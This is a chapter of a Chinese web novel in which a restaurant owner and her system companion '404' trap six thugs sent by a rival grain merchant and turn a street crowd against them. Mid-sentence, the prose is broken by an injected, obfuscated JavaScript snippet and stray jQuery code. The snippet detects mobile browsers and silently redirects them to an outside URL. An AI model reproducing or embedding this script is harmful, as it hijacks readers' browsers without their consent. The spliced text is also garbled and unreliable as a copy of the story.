魏嫣然斜倚在酒楼前厅的摇椅之上,虽阖着杏眸,但是有系统在,她很清楚时间的流速。
此刻戌时三刻,正是华灯初上时分。
边城长街渐次亮起灯笼,青石板路上人影憧憧。寻常百姓家为省灯油钱,多携老扶幼往街市游逛。醉仙楼前支着七八处茶摊,榆木方桌上摆着粗瓷茶碗,三文钱便能听段沉香劈山救母的话本。
只是今日不同往日,茶客们虽捧着茶碗,说的尽是粮价飞涨之事。
"王婆子家的米缸见底了,晌午去赵记粮行,粳米竟要五十文一斗!"穿靛蓝短打的樵夫捶着桌子,震得茶碗叮当响。
旁侧书生模样的捻着山羊须叹道:"听闻黄河决堤不过是个幌子,实则是..."话音未落便被卖豆腐的老汉捂住嘴,众人面面相觑,俱从对方眼中瞧见惶惶之色。
忽闻街尾传来丝竹声,原是魏氏酒楼掌灯了。十八盏琉璃宫灯次第亮起,映得朱漆匾额上"魏氏酒楼"四个鎏金大字愈发耀眼。
百姓们望着这唯一未涨价的酒楼,心头五味杂陈。有那心善的婆子合掌念声佛,更多精明人却暗自盘算:这魏娘子能撑到几时?
此刻魏氏酒楼后巷闪过六道黑影,俱是蒙面劲装。为首者使个鹞子翻身跃过粉墙,落地时踩碎半片青瓦。
404突然震颤:"宿主,有人来了,而且是不请自来!"
它突然想起了宿主说的"等人"。
如果是等人,为何要特意来到酒楼前厅的躺椅上。但凡是在后院里任何地方,都能大概率撞见那群想要翻墙进来的人。
它明白了宿主等的人是谁。
【宿主,你等的人到了。】
“听到了。”魏嫣然懒洋洋地睁开双眼,伸直双臂伸了个懒腰,不紧不慢地走向了酒楼的大门。笑道:“那群人声音那么大,是怕我听不到吗?”
404突然想到了什么,开始激动起来,【宿主,来人有六个青壮年,你对付不了。而且你一天没出门,他们肯定知道你在这,他们是冲着你来的。】
【不对,宿主!你既然知道会有人来,那为什么要同时把纪时泽和张雪支走,你这不是把自己置之死地吗?】
【对了,咱还有积分,快用积分逃走吧,反正你也不在乎积分。】
“你吵死了。”魏嫣然皱了皱眉,她怎么才发现404这么吵。“有些事就是要一个人,孤苦伶仃,柔弱无依才有效。”
404:【啊?】
魏嫣然慵懒地翻个身,云鬓间累丝金步摇轻晃:“要是这里这么多人,打死他们,他们都不敢来。”
说话间素手抚过腰间荷包,内里藏着改良过的诸葛连弩。这是她接着404的搜索引擎,打造的武器,也是她的底牌之一。
虽然这玩意因为改小了,威力一般,但对付几个毛贼还是绰绰有余的。
那六个贼摸到厨房,忽见案板上摆着热气腾腾的花魔芋团子。圆脸贼忍不住伸手去抓,却听"咔嗒"机括声响,房梁降下铁笼将他罩个正着。余众吓得肝胆俱裂,正要后退,脚下青砖突然翻转,露出个丈许深的陷坑。
"有埋伏!"疤面贼尖叫着挥刀劈向窗棂,刀刃却被精钢窗棂震得火星四溅。众人这才惊觉,这庖厨竟是个铁桶阵。
正慌乱间,忽闻前厅传来环佩叮当。
魏嫣然着一月白襦裙上绣着银线玉兰,恍若仙子临凡。
"诸位好汉夜访寒舍,可是要尝新制的花魔芋团子?"她倚着门框轻笑。
众贼见这弱质女流,恶向胆边生,疤面贼狞笑道:"小娘子若肯陪爷几个..."
话音未落,忽见美人指尖银光乍现,诸葛连弩发动,六枚淬着麻沸散的梅花针已没入他们膝间要穴。
然罢,魏嫣然见他们彻底丧失了反抗能力,这才收起了机关。
她早算准时辰,款步至正门前。素手推开雕花门扇的刹那,街巷灯火尽映其面。
街上行人立时认出此乃日间风头无两之酒楼东家。
“魏小娘子,亦出来游玩乎?”
“来此处,请饮一杯茶如何?”
众人对魏嫣然颇有好感,盖因魏氏酒楼乃边城唯一未涨价之所,今晨所售之花魔芋团子,价廉物美。
然魏嫣然面对众人盛情,却默然不语。
她低眉垂目,唇紧抿,一言不发。
有好事者上前探视,见这小娘子纹丝不动,莫非中邪乎?
恰在此时,魏嫣然泪如雨下。
“我知未涨价损了诸位老板之利,你们皆不喜我。然我不过守着爹娘遗训,怎就碍了旁人财路..."说罢竟梨花带雨得哭起来,嘤嘤之声不绝于耳。
巴掌大的小脸上泪珠涟涟,虽哭态娇弱,然嗓门却洪亮,声震邻街。
众人为其楚楚可怜之态所迷,未察其洪亮哭声与柔弱外表之异,皆心生怜悯,默契上前慰藉。
其余未能近前者则窃窃私语,面上神色变幻莫测,盖因魏嫣然所言之事,正关乎在场众人之粮价。
围观人群霎时炸开锅。卖炊饼的孙二娘最先冲上前搀扶,触到美人冰凉的柔荑,顿时红了眼眶:"天杀的!魏娘子这般菩萨心肠也要欺辱!"
此言激起千层浪,扛活的苦力抄起扁担,绣娘们攥着银剪,连拄拐的老丈都颤巍巍举起烟杆。
“魏小娘子,此言何意?莫非因你未涨价,有人来寻你麻烦?”
“正是!若有此事,你尽管告知众人。你此举皆为吾等,吾等岂能坐视你受欺!”
“所言极是!你尽管道来,边城卖粮者中,唯你有良心,吾等绝不让有良心之人吃亏。”
“正是,正是!”
众人群情激愤,高声呼喊为其报仇出气之言。有身材魁梧之青壮年,甚至撸袖挥拳,以示力量。
魏嫣然见哭声已奏效,便含泪抬眸,又似畏惧般低头。在一好心大姐搀扶下,颤抖着纤指,指向酒楼内。
酒楼内,那群本欲对魏嫣然不利之人,未及行动便已被伤。
外头人声鼎沸,灯火通明,他们急躲隐蔽处,方未被人察觉。
他们欲逃,却惊恐发现门皆已上锁。他们本是从窗潜入,然此情此景,无论是攀狭窄之窗,还是强行破锁,皆会立时引人注目。
他们不敢轻举妄动,听魏嫣然所言,心知肚明其所指。他们吓得汗毛倒竖,如阴沟之鼠,望着近在咫尺之猫,逃亦不能,待亦不安。
他们已成瓮中之鳖。
他们特意待酒楼中人离去,欲欺此独身弱女子。未料反落入圈套。
恐惧如疫,迅速蔓延,令他们个个身颤。见众人已入,不知谁先忍不住,朝那锁上之门猛踹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14962619|161114||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一脚。
然青壮年一脚竟未撼动那门分毫。门无一道裂隙,依旧坚固如初。
反是进来搜寻之人,闻此惊天动地之声,立时锁定目标。
烛火点亮,酒楼前堂六个蒙面黑衣男子,顿时无所遁形。
六个贼子被人拖出时,遮面的黑布被掀开,赫然就是城中“李氏酒楼”的伙计。这六人衣着显见来者不善,再思及魏嫣然方才之言,众人怒意顿生。
众人顿时明白,此事已非男子心怀不轨,夜入人家欲行不轨之事。魏嫣然之言,意指她未听从无良奸商之言,未涨粮价十倍,故遭报复。
魏嫣然受报复,实为众人能得平价之粮。她非为己,实为众人。
那群无良奸商,心思竟歹毒至此!
不知谁先动手,抑或众人义愤填膺,齐声而动。
愤怒之众,不费吹灰之力,擒住那六人,拳脚相加,言语辱骂。
然众人所骂,非地上衣衫褴褛之人,字字句句,直指涨价之奸商。白日里藏于胸中之不满,此刻如决堤之水,滔滔不绝。
辱骂声,拳脚声,交织一片。
魏嫣然面无表情,冷眼旁观。
见那六人惨状,她冷哼一声,复又恢复柔弱之态。
她拦于众人前,道:“诸位,多谢见义勇为。然此六人不知从何而来,唯有送官,方能查出幕后主使。竟因我未涨粮价,便欲加害于我!”
见众人仍欲出气,不愿放人,她眼中闪过一丝寒意,然转瞬即逝,无人能窥其真面目。
但她不能令此六人死,否则煽动百姓暴动致人死地之罪,将落于她身。且此六人为罪人,唯有生者,方能震慑幕后之人,使其不敢轻举妄动。
虽知幕后主使或为刘老板,然边城对她不满之老板,非止一人。
她欲令此六人生,唯生者,方能做文章。
她欲吞并者,非止小小刘老板。
见众人仍不愿放人,魏嫣然径直拉住一位看似好说话之大哥。
“大哥,打死他们,粮价亦不会变。彼等不过喽啰,死之,彼辈亦不心疼。”
见大哥心动,她立拉其臂,引至己方。继而再劝他人,晓之以理,动之以情。
她知众人正思,须趁此时拉拢人心。一旦有一二人归顺,后续便易如反掌。
在魏嫣然稳住众人之短暂时刻,众人情绪渐退,见面前个个挂彩之人,始后退。
血光、性命、尸骸,乃人心深处至惧之物。
待人群最为惶恐不安,迷途之时。
魏嫣然柔声道:“莫怕,是尔等救了我,尔等无错,尔等助我,尔等乃善人。我必将其送官,终令那涨粮价之徒受惩。”
惊恐失措之众,如陷密林,不知所向之小鹿,闻魏嫣然之言,竟奇迹般得慰。
彼等口中默念:“吾等乃善人,吾等助魏嫣然。”如念咒般重复此令心安之语。
在魏嫣然坚毅目光中,彼等渐自信。
故,故...尔等打人无错,错在那涨价又遣人欺人之奸商。
尔等无错。
见此景象,即使连见多识广的404亦不禁惊叹。
【宿主在做什么?它到底绑定了一个什么宿主。】
魏嫣然倚在门边目送众人,指尖摩挲着诸葛连弩,唇角勾起冷峭弧度。